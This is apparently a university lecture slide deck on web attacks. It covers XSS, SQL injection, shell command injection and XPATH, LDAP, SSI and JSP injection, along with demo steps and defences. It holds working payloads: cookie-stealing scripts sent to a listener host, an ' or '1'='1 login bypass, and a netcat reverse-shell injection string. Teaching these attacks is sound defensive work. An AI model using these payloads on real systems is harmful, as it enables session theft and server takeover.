Web Security
Why Web Security:
a Real Business Problem




Independent security audit
Regulatory compliance
XSS issue raised
Must provide a response:
– Prove issue to be a non-problem
or
– Describe actions to take
Auditor finding


Freeform edit box
Message to
Customer Service
Web Attacks



Cross Site Scripting (XSS)
SQL Injection
Shell Attacks
If interested in more
 XPATH Injection
 LDAP Injection
 SSI Injection
 JSP Injection
Cross Site Scripting



Attacker goal: their code into browser
XSS forces a website visitor to execute
malicious code in his/her browser
Count for roughly 80% of all
documented security vulnerabilities
XSS Risks





XSS abuses render engines or plug-ins
Steal browser cookies
Steal session info for replay attack
Malware or bot installation
Redirect or phishing attempt
XSS Example 1




Trudy posts the following JavaScript on a
message board:
<script language="javascript">
var url =
"http://machineaddress:9000/index.html?cookie=
“+ encodeURI(document.cookie);
</script>
Then run a TCP server listening on port 9000 with
e.g., nc –l –p 9000
When Bob views the posted message, his browser
executes the malicious script, and his session
cookie is sent to Trudy
XSS Demo Instructions
Set port forward to bypass the firewall
ssh -L 9000:netsec-demos:2000 ychen@netsec1.cs.northwestern.edu

Note: 9000 is the local port, it's forwarded to netsecdemos port 2000 through netsec-1


Use http://localhost:9000 to access
http://netsec-demos.cs.northwestern.edu:2000
Ssh to any other machine (e.g.,
netsec.cs.northwestern.edu) and run
nc –l –p 9000
XSS Demo Instructions (II)

Login as ychen and post the script with a sexy
title (e.g., hot game!)
<script language="javascript">
var url = "http://netsec.cs.northwestern.edu:9000/index.html?cookie=";
url = url + encodeURI(document.cookie);
new Image().src=url;
</script>
Hi Everyone! Thanks for your cookies!

Then login as another user whitney and click
the post
Simple XSS Code
var url =
"http://machineaddress:9000/index.html?
cookie=“+ encodeURI(document.cookie);
 document.cookie is the browser's entire
cookie for the current website
 encodeURI() is a javascript function to
hex-encode certain characters to be
included as part of a URL
– E.g., changing the space character to %20
– Make the URL less suspicious
What can Trudy Do with
the Cookie?

Crack Bob’s password (MD5 hash in the
cookie) with John the Ripper or any
password cracker


For more info,
http://netsec.cs.northwestern.edu/resources/passw
ord-cracking/
Use a Firefox plugin like Tamperdata to
reset your cookies to impersonate Bob
XSS Example 2




Trudy sends a link to the following URL to Bob
that will take him to a personalized page:
http://host/personalizedpage.php?username=<sc
ript>document.location='http://trudyhost/cgibin/stealcookie.cgi?'+document.cookie</script>
A page is returned that contains the malicious
script instead of the username Bob, and Bob’s
browser executes the script causing his session
cookie to be sent to Trudy
Hex is often used in place of ASCII for the
JavaScript to make the URL less suspicious
XSS Detection


A client usually is not supposed to send
scripts to servers
If the server receives <SCRIPT>… or the
hex equivalent in an incoming packet and
that same script is sent unsanitized in an
outgoing packet or in an outgoing SQL
statement to the database, then an attack
has occurred
– A sanitized script could look like
&ls;SCRIPT&gt;…
SQL Injection
Malicious SQL statements run on a
database and thus attack the server
– XSS can only target other users
SQL Injection Example





Trudy accesses Bob’s website; in which he does not validate
input on his sign in form
– Runs a SQL statement like the following:
– select username, user_password from minibbtable_users
where user_password = md5('johnspassword') and
username='johndoe’;
Set username to ' or '1'='1
select username, user_password from minibbtable_users
where user_password = md5('anyrandompassword') and
username='' or '1'='1’;
Effect: picks any row where the username is blank and the
password matches or any row where true.
Add “limit 1” to pick the first row
SQL Injection Detection

To detect and prevent this at Bob’s
location
– Log any traffic from Trudy to Bob containing
form data containing a quotation mark
– Match any outgoing SQL statements from
Bob’s web server to his database server and
verify that the quotation marks Trudy
supplied were escaped
– If they weren’t, take action
Shell Attacks
Control an actual machine like a
web server
Shell Attacks

Inject commands into scripts that use
Linux utilities
– E.g., with “;” as command separator in
UNIX/LINUX


CGI programs like perl can use
command-line programs (e.g. grep, ls)
Unsanitized input as arguments can lead
to command execution.
Shell Attacks Demo

Search engine in MiniBB webserver executes
system("echo $user_usr " . $phrase . " >>/tmp/searchlogs");

Put phrase as: >/dev/null; id; echo randomdata
– Hide user ID
– Store random data in logs to evade detection

We can even get a remote shell !
– >/dev/null; nc netsec 9000 -e /bin/sh
Defense Approaches

Web firewall/IDS
– ModSecurity for Apache
– Commercial: SecureSphere from Impervia

Static code analysis
– Open source: Nikto
– Commercial:
Acutenix Web Vulnerability Scanner
 N-stalker


Education on good coding
– HTML encoding on input (server-side)
– Input validation/filtering
Backup Slides
XPATH Injection Example


Similar to SQL injection
Bob has a form that does not sanitize userprovided input before using it as part of an
XPATH query::
– string(//user[name/text()=’USER_NAME' and
password/text()=’USER_PASS']/account/text())

Trudy again can provide the following
password to change the statement’s logic:
– X’ OR ‘x’=‘x
– The statement thus selects the first account
LDAP Injection Example

Server using LDAP for authentication
– User name initialized, but then uses
unchecked user input to create a query
filter = "(uid=" + CStr(userName) + ")" '
searching for the user entry
 Attacker can exploit using special
characters
http://example/ldapsearch.asp?user=*
LDAP Injection Detection

Detection is based off of usage of
special LDAP characters
– System monitors input for special
characters
– Either scrubs incoming input or watches
for unescaped output passed to database
server

Detection approach is blackbox
SSI Injection Example
Bob has his server configured to use ServerSide Includes
 Trudy passes input with an SSI embedded
<!--#INCLUDE VIRTUAL="/web.config"-->
 SSI inserts malicious code into normal
webpages upon next request
 Future legitimate users get content
containing the tainted code included by the
SSI

JSP Injection Example




Similar to SSI injection
Bob has a portal server configured to
use dynamic code for templates
Trudy passes input with an embedded
<jsp:include “http://bad.com/1.jsp” >
malicious code inserted into webpage
JSP Injection Prevention





Prefer static include <%include …>
Don’t allow file inclusion outside of
server via Java2 Security policies
Firewall rules to prevent outbound
requests from server
Input validation coding
Choose portal software not requiring
dynamic includes or code execution
Q&A

Suggestions?